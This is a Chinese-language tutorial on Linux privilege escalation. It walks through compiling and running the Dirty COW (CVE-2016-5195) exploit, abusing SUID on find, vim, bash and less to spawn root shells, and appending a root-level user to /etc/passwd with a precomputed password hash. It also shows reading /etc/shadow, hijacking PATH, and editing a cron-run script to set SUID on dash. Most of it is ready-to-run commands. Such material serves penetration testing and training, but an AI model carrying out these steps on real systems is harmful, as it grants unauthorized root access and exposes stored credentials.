文章目录
- 操作系统内核提权
- 提权方法
- 脏牛(CVE-2016-5195)复现
- suid提权
- find
- vim
- Bash
- Less和More
- 劫持环境变量提权
- corn(计划任务)提权
- refer
操作系统内核提权
提权方法
步骤一
uname -a
内核版本为3.19
步骤二 查找可用exp
按照里面的步骤提权即可
脏牛(CVE-2016-5195)复现
提权为root权限的EXP一:链接 提权为root权限的EXP二:链接
exp1复现
# 下载到本地编译
gcc -pthread dirty.c -o dirty -lcrypt
# 执行
./dirty 密码
# 切换用户
su firefart
exp2复现
# 下载编译
make
# 如果成功的话会返回一个root的 shell,失败则返回fail
./dcow -s
suid提权
SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。
更多命令提权方法可以参考GTFOBins
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
再加个匹配
find / -user root -perm -4000 -print 2>/dev/null | grep -E "nmap|vim|find|bash|more|less|nano|cp"
利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户
# 生成一个密码为123的密码
openssl passwd -1 -salt '12345678' 123
# 结果
$1$12345678$tRy4cXc3kmcfRZVj4iFXr/
# 补全
toor:$1$12345678$tRy4cXc3kmcfRZVj4iFXr/:0:0:root:/toor:/bin/bash
find
给find命令s权限
whereis find
chmod u+s /bin/find
开始提权
find . -exec /bin/sh -p \; -quit
find . -exec vim /etc/passwd \; -quit
# 添加toor:$1$12345678$tRy4cXc3kmcfRZVj4iFXr/:0:0:root:/toor:/bin/bash到最后
su toor
# 密码:123
vim
添加权限
chmod u+s /usr/bin/vim.basic
vim.basic 提权
vim.basic /etc/passwd
# 将生成的密码添加到最后
# :wq! 强制保存
su toor
# 密码:123
vim.tiny提权
vim.tiny
:set shell=/bin/sh
:shell
Bash
bash -p ; -quit
bash-5.1# whoami
root
Less和More
less /etc/passwd
!/bin/sh
劫持环境变量提权
c 源代码
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}
以 root 进行编译和权限设置
gcc suid.c -o suid-exp
设置 suid 位
chmod 4775 suid-exp
用该命令可以发现这个文件有suid位
find / -perm -u=s -type f 2>/dev/null
劫持环境变量提权,因为 system 函数是继承环境变量 可以通过替换环境变量可以达到执行任意命令。
创建一个文件
echo "/bin/bash">cat && chmod 777 cat
把当前 tmp 目录增加到环境变量
export PATH=.:$PATH
设置了 PATH 执行 cat 的时候会优先从当前目录下查找程序。所以 cat 命令会被劫持
corn(计划任务)提权
Cron Jobs 计划任务 通过 /etc/crontab 文件,可以设定系统定期执行的任务。
crontab 文件只能是 root 权限 进行编辑,原理就是查看有没有可以修改的文件,然后修改内容提权
新建一个test.py
import os
os.system('echo "123">/tmp/log')
将其添加到计划任务,执行命令crontab -e
,添加如下内容,每隔一分钟执行一次test.py
* * * * * python3 /tmp/test.py
重启该服务
service cron restart
等待一分钟后,该脚本被成功执行
现在开始提权
修改文件内容
os.system('/bin/chmod u+s /bin/dash')
过一段时间可以发现dash
命令已经有了suid权限
成功提权
dash -p
refer
GTFOBinshttps://github.com/diego-treitos/linux-smart-enumerationhttps://github.com/sleventyeleven/linuxprivcheckerhttps://github.com/mzet-/linux-exploit-suggester